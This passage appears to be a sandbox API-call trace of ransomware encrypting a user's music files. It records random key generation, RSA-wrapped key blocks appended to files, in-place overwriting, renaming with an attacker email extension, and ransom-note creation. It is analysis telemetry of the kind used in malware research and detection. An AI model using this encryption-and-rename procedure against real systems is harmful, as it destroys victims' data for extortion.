lpNewFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\lC_qRngzcQLt2ZA3.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\hfgxh7wtd7-ugq8fgf\\lc_qrngzcqlt2za3.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.161] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b07d0 | out: hHeap=0x570000) returned 1 [0156.161] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.161] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b71f0 | out: hHeap=0x570000) returned 1 [0156.161] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0156.161] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0156.161] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.161] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.161] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\J-8z3jf.mp3", dwFileAttributes=0x80) returned 1 [0156.162] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdb50 [0156.162] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d07f0 [0156.162] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdb50 | out: hHeap=0x570000) returned 1 [0156.162] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\J-8z3jf.mp3" (normalized: "c:\\users\\fd1hvy\\music\\hfgxh7wtd7-ugq8fgf\\j-8z3jf.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc [0156.162] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=6643) returned 1 [0156.162] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x19f3) returned 0x6538b0 [0156.162] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x19f3) returned 0x6552b0 [0156.162] ReadFile (in: hFile=0x6cc, lpBuffer=0x6538b0, nNumberOfBytesToRead=0x19f3, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0x19f3, lpOverlapped=0x0) returned 1 [0156.163] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=-6643, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.163] WriteFile (in: hFile=0x6cc, lpBuffer=0x6552b0*, nNumberOfBytesToWrite=0x19f3, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6552b0*, lpNumberOfBytesWritten=0x2e3f9b4*=0x19f3, lpOverlapped=0x0) returned 1 [0156.163] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.163] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6552b0 | out: hHeap=0x570000) returned 1 [0156.163] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x19f3 [0156.163] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.163] WriteFile (in: hFile=0x6cc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.163] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.163] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.163] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.163] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.163] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="JVUE2/3KUYl37aP3sNfI5/734PxqlvMkT6Xaeybhp1jgFpfiQrYOuy8G8xx6ASrq\n+IgYt7fNZihy5PgU+aMdLhPZn3N6eLFWnaP+KCH51/6jK3irOslik5k5vWIssJH2\nDj3xbsQIO0ZH9Ffp2bERkF7BOfqs+722SdkrB3WgYk73CQ0gjt2UwDc1A5I4bdN/\nJjVh5D4LpvOQ/f/VmzfINXopq7OFMfs/+YUdh8EKdsyvDjMvG106lByfpFM1/3hC\nTgeQl6UguelA8vZIt7Q0VPUnS29onZVMSNuky52KRrI87Xr3JJBHAGm1KmX0k1V3\nRN6l/Fh215uv5a8Lp0THSQ==\n", pcchString=0x2e3f9a8) returned 1 [0156.164] WriteFile (in: hFile=0x6cc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.164] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.164] WriteFile (in: hFile=0x6cc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.164] CloseHandle (hObject=0x6cc) returned 1 [0156.164] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.164] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\J-8z3jf.mp3" (normalized: "c:\\users\\fd1hvy\\music\\hfgxh7wtd7-ugq8fgf\\j-8z3jf.mp3"), lpNewFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\J-8z3jf.mp3.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\hfgxh7wtd7-ugq8fgf\\j-8z3jf.mp3.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.165] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d07f0 | out: hHeap=0x570000) returned 1 [0156.165] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.165] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0156.165] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0156.165] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cdad8 [0156.165] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.165] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0156.165] SetFileAttributesW (lpFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\1xLqe.m4a", dwFileAttributes=0x80) returned 1 [0156.166] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd970 [0156.166] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e5c0 [0156.166] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd970 | out: hHeap=0x570000) returned 1 [0156.166] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\1xLqe.m4a" (normalized: "c:\\users\\fd1hvy\\music\\hfgxh7wtd7-ugq8fgf\\1xlqe.m4a"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6cc [0156.166] GetFileSizeEx (in: hFile=0x6cc, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=56184) returned 1 [0156.166] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdb78) returned 0x6538b0 [0156.166] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xdb78) returned 0x661430 [0156.166] ReadFile (in: hFile=0x6cc, lpBuffer=0x6538b0, nNumberOfBytesToRead=0xdb78, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x6538b0*, lpNumberOfBytesRead=0x2e3f9b4*=0xdb78, lpOverlapped=0x0) returned 1 [0156.167] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=-56184, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0156.168] WriteFile (in: hFile=0x6cc, lpBuffer=0x661430*, nNumberOfBytesToWrite=0xdb78, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x661430*, lpNumberOfBytesWritten=0x2e3f9b4*=0xdb78, lpOverlapped=0x0) returned 1 [0156.168] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6538b0 | out: hHeap=0x570000) returned 1 [0156.168] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x661430 | out: hHeap=0x570000) returned 1 [0156.168] SetFilePointer (in: hFile=0x6cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0xdb78 [0156.168] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.168] WriteFile (in: hFile=0x6cc, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.168] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0156.168] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0156.168] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0156.168] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0156.168] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="2UUEQGG2ewatoXBOS3+RCOxrGF/55k6MBu1sHfPY3dFK9LCzpliDpBGXiblqefou\nPMZ1dmwSx+66XNvbn+mpEvX9mg8niLBjSbHo9yfFHZzB2KnRB23xTqyHXe3XlthD\njoORoai1U36cIn1fgwoTwUwB0eCud7xuJQIVErTy66E499J4H0koEu6BFfWVGb4S\nYTCSxEjaEMQraBYxdICL2psaifsyYcYKi6L/w5jUmAhmJfV+q+pbEBHzqme0WMF8\nq3nSfCIDMa7jJ00bCANqb2VV0EX3hvBmlYN+yG6LbWNKyyCbrxp81lg6aN2Swy6e\nsrhFaNNkQyPMqk+6CfTkJQ==\n", pcchString=0x2e3f9a8) returned 1 [0156.168] WriteFile (in: hFile=0x6cc, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0156.168] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0156.168] WriteFile (in: hFile=0x6cc, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0156.169] CloseHandle (hObject=0x6cc) returned 1 [0156.169] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0156.169] MoveFileExW (lpExistingFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\1xLqe.m4a" (normalized: "c:\\users\\fd1hvy\\music\\hfgxh7wtd7-ugq8fgf\\1xlqe.m4a"), lpNewFileName="\\Users\\FD1HVy\\Music\\HFGXh7wtD7-UGQ8Fgf\\1xLqe.m4a.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\fd1hvy\\music\\hfgxh7wtd7-ugq8fgf\\1xlqe.m4a.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0156.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e5c0 | out: hHeap=0x570000) returned 1 [0156.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cdad8 | out: hHeap=0x570000) returned 1 [0156.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0156.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7210 [0156.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6570 | out: hHeap=0x570000) returned 1 [0156.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0156.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccb98 | out: hHeap=0x570000) returned 1 [0156.170] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd10918e0, ftCreationTime.dwHighDateTime=0x1d4c9cd, ftLastAccessTime.dwLowDateTime=0x2eb18b80, ftLastAccessTime.dwHighDateTime=0x1d4c65e, ftLastWriteTime.dwLowDateTime=0x17a50ae0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x631340 [0156.170] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0156.170] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7378 [0156.170] GetLastError () returned 0x0 [0156.170] SetLastError (dwErrCode=0x0) [0156.171] GetLastError () returned 0x0 [0156.171] SetLastError (dwErrCode=0x0) [0156.171] GetLastError () returned 0x0 [0156.171] SetLastError (dwErrCode=0x0) [0156.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0156.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0156.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0156.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x6314c0 [0156.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x6314c0 | out: hHeap=0x570000) returned 1 [0156.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40558 [0156.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40558 | out: hHeap=0x570000) returned 1 [0156.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0156.171] FindNextFileW (in: hFindFile=0x631340, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd10918e0, ftCreationTime.dwHighDateTime=0x1d4c9cd, ftLastAccessTime.dwLowDateTime=0x2eb18b80, ftLastAccessTime.dwHighDateTime=0x1d4c65e, ftLastWriteTime.dwLowDateTime=0x17a50ae0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0156.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7378 | out: hHeap=0x570000) returned 1 [0156.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c75b8 [0156.171] GetLastError () returned 0x0 [0156.171] SetLastError (dwErrCode=0x0) [0156.171] GetLastError () returned 0x0 [0156.171] SetLastError (dwErrCode=0x0) [0156.171] GetLastError () returned 0x0 [0156.171] SetLastError (dwErrCode=0x0) [0156.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0156.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5beec8 [0156.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beec8 | out: hHeap=0x570000) returned 1 [0156.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x631280 [0156.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x631280 | out: hHeap=0x570000) returned 1 [0156.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40390 [0156.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40390 | out: hHeap=0x570000) returned 1 [0156.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c0b68 | out: hHeap=0x570000) returned 1 [0156.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0156.171] FindNextFileW (in: hFindFile=0x631340, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdee2240, ftCreationTime.dwHighDateTime=0x1d4cf15, ftLastAccessTime.dwLowDateTime=0x5ad2a770, ftLastAccessTime.dwHighDateTime=0x1d4cb64, ftLastWriteTime.dwLowDateTime=0x5ad2a770, ftLastWriteTime.dwHighDateTime=0x1d4cb64, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="dVS7sBA", cAlternateFileName="")) returned 1 [0156.171] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c75b8 | out: hHeap=0x570000) returned 1 [0156.171] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c76d8 [0156.171] GetLastError () returned 0x0 [0156.172] SetLastError (dwErrCode=0x0) [0156.172] GetLastError () returned 0x0 [0156.172] SetLastError (dwErrCode=0x0) [0156.172] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6fd0 [0156.172] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c76d8 | out: hHeap=0x570000) returned 1 [0156.172] GetLastError () returned 0x0 [0156.172] SetLastError (dwErrCode=0x0) [0156.172] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beec8 [0156.172] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5c0b68 [0156.172] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x50) returned 0x5beb58 [0156.172] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d1d0 [0156.172] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x8) returned 0x59d320 [0156.172] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c74e0 [0156.172] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b70e0 [0156.172] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c74e0 | out: hHeap=0x570000) returned 1 [0156.172] GetLastError () returned 0x0 [0156.172] SetLastError (dwErrCode=0x0) [0156.172] GetLastError () returned 0x0 [0156.172] SetLastError (dwErrCode=0x0) [0156.172] GetLastError () returned 0x0 [0156.172] SetLastError (dwErrCode=0x0) [0156.172] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x70) returned 0x5cd8f8 [0156.172] CreateFileW (lpFileName="\\Users\\FD1HVy\\Music\\rai3Ivo\\dVS7sBA\\READ_ME.major" (normalized: "c:\\users\\fd1hvy\\music\\rai3ivo\\dvs7sba\\read_me.major"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x6d0 [0156.174] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cd8f8 | out: hHeap=0x570000) returned 1 [0156.174] WriteFile (in: hFile=0x6d0, lpBuffer=0x58c768*, nNumberOfBytesToWrite=0x984, lpNumberOfBytesWritten=0x2e3faf4, lpOverlapped=0x0 | out: lpBuffer=0x58c768*, lpNumberOfBytesWritten=0x2e3faf4*=0x984, lpOverlapped=0x0) returned 1 [0156.175] CloseHandle (hObject=0x6d0) returned 1 [0156.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b70e0 | out: hHeap=0x570000) returned 1 [0156.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d320 | out: hHeap=0x570000) returned 1 [0156.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x59d1d0 | out: hHeap=0x570000) returned 1 [0156.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5beb58 | out: hHeap=0x570000) returned 1 [0156.175] FindNextFileW (in: hFindFile=0x631340, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd73c0b0, ftCreationTime.dwHighDateTime=0x1d4d3b8, ftLastAccessTime.dwLowDateTime=0xa65b52a0, ftLastAccessTime.dwHighDateTime=0x1d4d226, ftLastWriteTime.dwLowDateTime=0xa65b52a0, ftLastWriteTime.dwHighDateTime=0x1d4d226, nFileSizeHigh=0x0, nFileSizeLow=0x69f7, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="N-3ME2VVR1X.mp3", cAlternateFileName="N-3ME2~1.MP3")) returned 1 [0156.175] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6fd0 | out: hHeap=0x570000) returned 1 [0156.175] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c71c8 [0156.176] GetLastError () returned 0x0 [0156.176] SetLastError (dwErrCode=0x0) [0156.176] GetLastError () returned 0x0 [0156.176] SetLastError (dwErrCode=0x0) [0156.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7498 [0156.176] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c71c8 | out: hHeap=0x570000) returned 1 [0156.176] GetLastError () returned 0x0 [0156.176] SetLastError (dwErrCode=0x0) [0156.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccbe8 [0156.176] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccbe8 | out: hHeap=0x570000) returned 1 [0156.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b67e0 [0156.176] FindNextFileW (in: hFindFile=0x631340, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x984fd890, ftCreationTime.dwHighDateTime=0x1d4cd7e, ftLastAccessTime.dwLowDateTime=0xa47b2730, ftLastAccessTime.dwHighDateTime=0x1d4c781, ftLastWriteTime.dwLowDateTime=0xa47b2730, ftLastWriteTime.dwHighDateTime=0x1d4c781, nFileSizeHigh=0x0, nFileSizeLow=0x17a73, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="NWldvt6jg 7w.mp3", cAlternateFileName="NWLDVT~1.MP3")) returned 1 [0156.176] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0156.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7648 [0156.176] GetLastError () returned 0x0 [0156.176] SetLastError (dwErrCode=0x0) [0156.176] GetLastError () returned 0x0 [0156.176] SetLastError (dwErrCode=0x0) [0156.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.176] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7648 | out: hHeap=0x570000) returned 1 [0156.176] GetLastError () returned 0x0 [0156.176] SetLastError (dwErrCode=0x0) [0156.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0156.176] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0156.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x60) returned 0x5b6368 [0156.176] FindNextFileW (in: hFindFile=0x631340, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17a50ae0, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x17a50ae0, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x17a50ae0, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0156.176] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0156.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7768 [0156.176] GetLastError () returned 0x0 [0156.176] SetLastError (dwErrCode=0x0) [0156.176] GetLastError () returned 0x0 [0156.176] SetLastError (dwErrCode=0x0) [0156.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b76b8 [0156.176] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7768 | out: hHeap=0x570000) returned 1 [0156.176] GetLastError () returned 0x0 [0156.176] SetLastError (dwErrCode=0x0) [0156.176] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cca58 [0156.176] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cca58 | out: hHeap=0x570000) returned 1 [0156.176] FindNextFileW (in: hFindFile=0x631340, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8cd27e0, ftCreationTime.dwHighDateTime=0x1d4c6da, 